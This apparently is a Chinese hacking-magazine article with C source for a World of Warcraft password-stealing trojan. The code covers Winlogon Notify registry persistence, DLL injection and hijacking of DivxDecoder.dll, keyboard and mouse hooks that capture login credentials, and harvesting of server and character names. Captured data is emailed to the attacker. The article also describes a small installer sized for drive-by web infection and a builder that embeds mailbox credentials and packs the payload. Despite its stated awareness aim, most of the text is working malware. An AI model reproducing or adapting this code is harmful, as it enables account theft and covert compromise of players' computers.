适合读者:编程爱好者,游戏玩家
前置知识:c/c++编程基础
(迷上网络游戏的人是越来越多了,账号被盗的也是越来越多,虽然凭借一定的手段还可以找回自己的账号,但是找回来的也就仅仅是一个账号,估计里面的装备已经被卖精光了。是黑客的技术提高了还是网络游戏本身的安全性做的不够!)
魔兽世界木马的攻防
文/图 langouster(江苏大学信息安全系)
听说最近WTF迷上了魔兽世界,本着群众跟党走的方针,我们一起来研究魔兽世界,学习魔兽世界的密码窃取和保护技术。希望能以此提高游戏玩家的安全意识、提升魔兽世界的安全档次。
经过我的测试,发现魔兽世界并没有对消息钩子经行防范,这样我们写魔兽世界木马就简单了。为了使我们的小马更加隐藏,我把它写成了一个dll文件。关于它的启动方法,我提供了两种方式让用户来选择,如图1:
其中注册表自启动采取的是Winlogon 通知包技术,具体细节是在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Notify\下新建一项langouster(名称任意),系统启动的时候会检查该项下面有没有DllName这 一键值名称,有则自动将dll加载到winlogon进程中,这种方法比传统的rundll32或者服务的方式要隐藏多了。我们的小马由三个程序组成,一个dll主程序,一个安装程序setup.exe(发给玩家),还有一个就是图1中的配置程序。dll文件先以资源的形式包含到安装程序setup.exe中,setup.exe又以资源的形式包含到配置程序中,顺便提一下本盗号器生成的安装程序只有7.87k,足可用来网页挂马。有了上面的说明再来理解下面的程序就不难了。
一.先讲dll主程序:dll加载的时候创建一个线程start来开始正式的工作,千万不要在DllMain里放太多的东西,否则魔兽世界启动就慢了,我们的小马容易被发现。在DWORD WINAPI start(LPVOID lpParameter)中,我们先来判断一下自己的宿主进程名是winlogon.exe还是wow.exe(魔兽世界的进程)。如果是在winlogon.exe进程中,就新建一个线程来反复地写注册表,防止我们的启动项被删除。
DWORD WINAPI WriteReg(LPVOID lpParameter)//反复写注册表和检测dll文件
{
char syspath[MAX_PATH];
HKEY key;
DWORD disposition;
char aa[]="\x01\x00\x00\x00";
char bb[]="\x00\x00\x00\x00";
GetModuleFileName(g_module,syspath,MAX_PATH-1);
//写注册表,采用Winlogon 通知包技术启动
while(1)
{
RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\langouster",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&disposition);
RegSetValueEx(key,"DllName",0,REG_SZ,(BYTE *)syspath,lstrlen(syspath)+1);
RegSetValueEx(key,"Asynchronous",0,REG_DWORD,(BYTE *)aa,4);
RegSetValueEx(key,"Impersonate",0,REG_DWORD,(BYTE *)bb,4);
RegSetValueEx(key,"StartShell",0,REG_SZ,(BYTE *)"langouster",10);
RegCloseKey(key);
Sleep(5000);
}
return 0;
}
不过因为基于NT核心的平台中的Copy-On-Write系统机制,允许用户对正在运行的文件重命名,一旦dll文件被重命名,马儿就没法自启动了,所以我们先要以独占的方式打开文件OpenFile(dllpath,&ofstruct,OF_READ|OF_SHARE_EXCLUSIVE)。接下来要做的事就是反复的枚举有没有WoW.exe这个进程,如果找到了就采用远程线程注入的方法把dll注入到WoW.exe中,实现方法前人已经讲过许多了,不会的翻翻以前的黑防。另外如果判断得宿主进程是WoW.exe,我们就挂上一个消息钩子g_goalhook=SetWindowsHookEx(WH_GETMESSAGE,goalhook,g_module,GetWindowThreadProcessId(FindWindow(NULL, goal_window),&processid) )。Goalhook负责处理各种消息事件,我们只对键盘和鼠标消息感兴趣。
if(ncode==HC_ACTION)
{
switch(pmsg->message)//pmsg:指向MSG结构体
{
case WM_LBUTTONUP:
mouse_x=LOWORD(pmsg->lParam);
mouse_y=HIWORD(pmsg->lParam);
if(compare_xy(mouse_x,mouse_y,348,361,461,380))//compare_xy()用来判断鼠标的位置是不是在给定的范围内
{//输入焦点移动已到密码输入框
position=len=0;
IsUsername=false; //IsUsername:全局bool值,true表示当前的输入焦点在账号框,否则在密码输入框。
}
else
if(compare_xy(mouse_x,mouse_y,348,412,456,426))//单击了提交按钮
CreateThread(NULL,0,Submit,0,0,0);//submit函数把玩家的账号密码发给我们;另建一线程,否则玩家会发现短暂的停顿
break;
case WM_KEYDOWN:
if(LOWORD(LOWORD(pmsg->wParam))==VK_RETURN)//玩家按下了回车键
{
CreateThread(NULL,0,Submit,0,0,0);
}
else
{
VirtKey = (int)(pmsg->wParam);
GetKey(VirtKey);//处理按键函数
}
break;
default:
break;
}
}
玩家一般用鼠标来选择输入焦点以及单击提交按钮,用键盘来输入账号密码以及一些功能键,如回车、TAB、Backspace、光标键等,对这些功能键的处理与否直接关系到得到的账号密码的正确性。我写了下面这个函数,先判断是不是回车键,在不是回车键的前提下来处理其它功能键,大家花点耐心来仔细看看:
void ExecuteCmd(char key_char)//处理键盘上的光标,back delete tab键(注意参数)
{
char *nameorpword;//暂时存放账号或密码
int i;
if(IsUsername)
nameorpword=username;//username就是魔兽世界的账号
else
nameorpword=password; //password就是魔兽世界的密码
switch(key_char)
{
case 'b'://backspace键
if(position==0)break;//position:全局int,用来记录光标的位置 如果光标已在开头,那么什么也不做
if(len==position)//len:全局int,用来记录字符串的长度 如果光标在字符串末尾,字符串缩短一位
{
position--;
len--;
*(nameorpword+position)='\0';
}
else
{
//将字符串从光标位置开始往前移一位
for(i=position-1;i<len-1;i++)
*(nameorpword+i)=*(nameorpword+i+1);
position--;
len--;
}
break;
case 't'://tab键 从账号输入框移到密码输入框
position=len=0;
IsUsername=false;
break;
case 'd'://delete键 跟Backspace键的处理相似
if(position!=len)
{
for(i=position;i<len;i++)
*(nameorpword+i)=*(nameorpword+i+1);
len--;
}
break;
case 'l':// 光标“<-”键
if(position!=0)
position--;
break;
case 'r':// 光标“->”键
if(position!=len)
position++;
break;
default:
break;
}
}
对于一个盗号器,仅仅得到账号和密码是远远不够的,至少我们总得知道得到的是几区的账号吧,魔兽世界还好,总共也就六个区,要换成传奇,一百来个区总不能一个一个试吧。我们的这个小马现在还只能得到区号,服务器以及角色名,这也算是一个不小的缺陷吧,如有可能希望能在下一版本中改进。本来我打算用读内存的方法来得到这些信息,在我看了四天的16进制加乱码之后我决定放弃这种方法!后来我想到了一种更简单的方法,先来看一下魔兽世界目录下的几个有意思的文件:launcher.ini文件和WTF文件夹。打开launcher.ini文件看到第一行写着“cn6.grunt.wowchina.com”,六区,呵呵!原来Launcher.exe把服务器区号写在launcher.ini中,WoW.exe程序运行时再去launcher.ini中读出。再来看一看WTF文件夹。如图2:
图2
其中LANGOUSTER是我的账号,破碎岭是服务器名,Langouster是游戏中的角色名,所以我们只要看看WTF文件夹下面有什么文件就能得到我们想要的信息。方法太简单了,这里只简单地说一下如何得到服务器名,其它的请看光盘中源程序。
handle=FindFirstFile(wowpath2,&finddata);//wowpath:到LANFOUSTER为止的路径
if(handle==INVALID_HANDLE_VALUE)return;//出错返回
if((finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)&&(strchr(finddata.cFileName,'.')==NULL)&&(stricmp(finddata.cFileName,"SavedVariables")!=0))//判断是不是要找的文件夹
strcpy(servername,finddata.cFileName);
else
while(FindNextFile(handle,&finddata))
{
if((finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)&&(strchr(finddata.cFileName,'.')==NULL)&&(stricmp(finddata.cFileName,"SavedVariables")!=0))
{
strcpy(servername,finddata.cFileName);
break;
}
}
CloseHandle(handle);
得到了这些信息,下一步就是把这些宝贵的信息发给我们了,常用的方法有两种:邮件发送和利用动态网页。两种方法各有优缺,许多杀毒软件和防火墙对邮件发送比较敏感,容易导致邮件发送失败;而采用动态网页的方法因为访问的是80端口,相对不会引起反病毒软件的注意,但是现在要申请一个免费的asp空间太难了,为了适合大众,我这里只采用邮件发送的方法。如图3:
要发邮件就要有用户名和密码,我们用下面的代码来提取。
char Mailname[30]={0},Mailpword[30]={0} ,ReceMail[40]={0};
char readstr[100]={"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"};
char tempchar[100]={0};
key=atoi(&(readstr[strlen(readstr)-1]));
strcpy(tempchar,readstr);
strcpy(Mailname,strtok(tempchar,"||") );
strcpy(tempchar,readstr);
strcpy(tempchar,strstr(tempchar,"||")+2);
strcpy(Mailpword,strtok(tempchar,"||") );
strcpy(tempchar,readstr);
strcpy(tempchar,strstr(tempchar,"||")+2);
strcpy(tempchar,strstr(tempchar,"||")+2);
strcpy(ReceMail,strtok(tempchar,"||"));
上面的代码可能会很令人费解,readstr明明只是一串“aaa……”怎么能提取出邮箱的用户名和密码呢?在图1中大家已经看到用户名和密码是可以配置的,而这个dll文件说到底是以资源的形式包含在配置程序中的,在配置程序中我们读出资源,找到“aaa……”这串字符串,用真正的邮箱用户名和密码替换掉“aaa……”,格式是”发件箱用户名||密码||收件邮箱”。在真正的程序中我用了一些简单的算法对它加密了一下,不然被玩家发现,赔了夫人又折兵可不好。
我说过这个小马还可以以dll转发的方式工作,连写注册表都不用,就不怕C盘被还原了,特别适合在网吧使用。为此先来说一下魔兽世界的工作机制,在wow.exe运行时它会加载同一目录下的DivxDecoder.dll,用Dependency Walker查看,发现它导出了四个函数。如图4:
图4
导出的函数比较少,我们用自己的dll替换掉DivxDecoder.dll,把原来的DivxDecoder.dll改名为unicode.dll,然后在dll源程序的开头加上
#pragma comment(linker,"/export:DivxDecode=unicode.DivxDecode")
#pragma comment(linker,"/export:InitializeDivxDecoder=unicode.InitializeDivxDecoder")
#pragma comment(linker,"/export:SetOutputFormat=unicode.SetOutputFormat")
#pragma comment(linker,"/export:UnInitializeDivxDecoder=unicode.UnInitializeDivxDecoder")
当魔兽世界启动时加载的就是我们的dll,而当它需要那四个函数时,我们去同一目录下的unicode.dll(也就是原来的DivxDecoder.dll)中寻找。为了隐藏我们把unicode.dll的属性设为隐藏、系统,最好再改一改文件的修改时间。当然这一切是由我们的安装程序Setup.exe实现的,也就是那个只有7.87K的程序。
二.下面再来讲一下安装程序Setup.exe。它把主程序dll以二进制资源的形式包含进来,根据不同的安装方式动态地生成dll。入口函数如下:
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
HRSRC hrsrc1;
HGLOBAL hglobal1;
DWORD size,len;
char sele[20]="dlldlldll",*hmem;
hrsrc1=FindResource(NULL, MAKEINTRESOURCE(IDR_BIN1), "BIN");//查找dll资源
size=SizeofResource(NULL, hrsrc1);
hglobal1=LoadResource(NULL, hrsrc1);//载入二进制资源
hmem=(char *)malloc(size+1); //将二进制资源读入内存
WriteProcessMemory(GetCurrentProcess(),hmem,(LPCVOID)LockResource(hglobal1),size,&len);
if(stricmp(sele,"REGREGREG")==0)//判断安装方式
setup_reg(hmem,size);//注册启动方式的安装
else
if(stricmp(sele,"DLLDLLDLL")==0)
setup_dll(hmem,size);//dll转发方式的安装
free(hmem);
GlobalFree(hglobal1);
return 0;
}
与前面的“aaa……”相似,在这个函数中我们定义了一个变量sele[20]="dlldlldll",用“DLLDLLDLL”表示采用dll转发方式安装,用“REGERGREG”表示采用注册表方式安装。若用户选择用dll转发安装,在配置程序中就已把“dlldlldll”改成了“DLLDLLDLL”,否则改成“REGREGREG”。setup_dll()函数完成以下三步:
1. 从注册表“HKEY_LOCAL_MACHINESOFTWARE\Blizzard Entertainment\World of Warcraft\ InstallPath”中读出魔兽世界安装路径。
2. 将魔兽世界安装目录中的DivxDecoder.dll重命名为unicode.dll,并改变文件属性为“系统”、“隐藏”(最好改一下文件的修改时间)。
3. 将读到内存中的dll文件数据写到魔兽世界目录下的DivxDecoder.dll。
void setup_dll(char *hmem,DWORD size)
{
char wowpath[MAX_PATH]={0},dllpath[MAX_PATH],newdllpath[MAX_PATH];
HANDLE hFile;
DWORD len;
readpath(wowpath);//得到魔兽世界的安装路径
strcpy(dllpath,wowpath);
strcat(dllpath,"DivxDecoder.dll");
strcpy(newdllpath,wowpath);
strcat(newdllpath,"Unicode.dll");
if(MoveFile(dllpath,newdllpath))//将DivxDecoder.dll重命名为unicode.dll
{
SetFileAttributes(newdllpath,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);//将unicode.dll的文件属性改成隐藏、系统
hFile = CreateFile(dllpath,GENERIC_WRITE,0, NULL,CREATE_NEW,0,NULL);//写入资源文件
if(INVALID_HANDLE_VALUE!=hFile)
{
WriteFile(hFile, (LPCVOID)hmem,size,&len,NULL);
CloseHandle(hFile);
}
}
}
Setup_reg()函数完成以下两步:
1. 在“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify”下新建一项langouster,使系统重启后自动加载我们的小马。
2. 将读到内存中的dll文件数据写到系统路径下的Desktop.dll,并将文件的属性设为“系统”、“隐藏”(最好改一下文件的修改时间)。
实现代码请参考前面的程序。
三.最后再简单说说配置程序,程序由MFC编写。它包含了两个bin资源,一个是setup.exe,另一个是upack.exe(用来加壳压缩)。用户单击生成按钮后先判断邮箱测试是否通过,然后将setup.exe的二进制资源载入内存,根据用户的启动要求修改资源中的字符串,生成setup.exe。这里只说一下修改内存函数ModifyMem((hmem,size,from,to),它把from表示的字符串改为to表示的字符串。
bool ModifyMem(char *hmem,int len,char *from,char *to)
{
char charf[100],chart[100],*charg;
bool result=false;
strcpy(charf,from);
strcpy(chart,to);
for(int i=0;i<len;i++)
{
charg=(char *)&hmem[i];
if(strcmp(charg,charf)==0)
{ if(WriteProcessMemory(GetCurrentProcess(),(LPVOID)(hmem+i),chart,strlen(chart)+1,NULL))
result=true;
break;
}
}
return result;
}
如果用户要求加壳,生成setup.exe文件后,还要将二进制资源upack.exe写入文件,执行WinExec("upack.exe setup.exe",SW_HIDE)。
再说本木马的卸载,如果采用的是dll转发的方式安装的,那就简单,先删除魔兽世界安装目录下的DivxDecoder.dll,再把unicode.dll重命名为DivxDecoder.dll。如果原先采用的是注册表自启动方式安装的,那手工卸载实在是比较麻烦,你可以试着用IceSword打开winlogon.exe进程,卸载里面的Desktop.dll模块,不过你要做好蓝屏的准备,我试了5次都没成功;再一个办法是用江民等软件的注册表监视功能,阻止winlogon.exe写注册表,再删除注册表中的langouster这一项,重启之后就行了,最后一个办法是用IceSword先结束smss.exe进程再结束winlogon.exe,删除注册表后直接按重启键(这时已经没法正常关机了)。
最后,希望各玩家提高安全意识,木马无空不入,最好使用密码找回功能。也希望游戏生产厂商在赚钱的同时别忘了加强游戏的安全性,保护好游戏玩家的“财产”。
收笔之前衷心感谢xyzreg和孤烟逐云的无私帮助!
补充说明:此木马公开较早,对目前的魔兽世界无效。
附件中包含完整源程序和利用程序: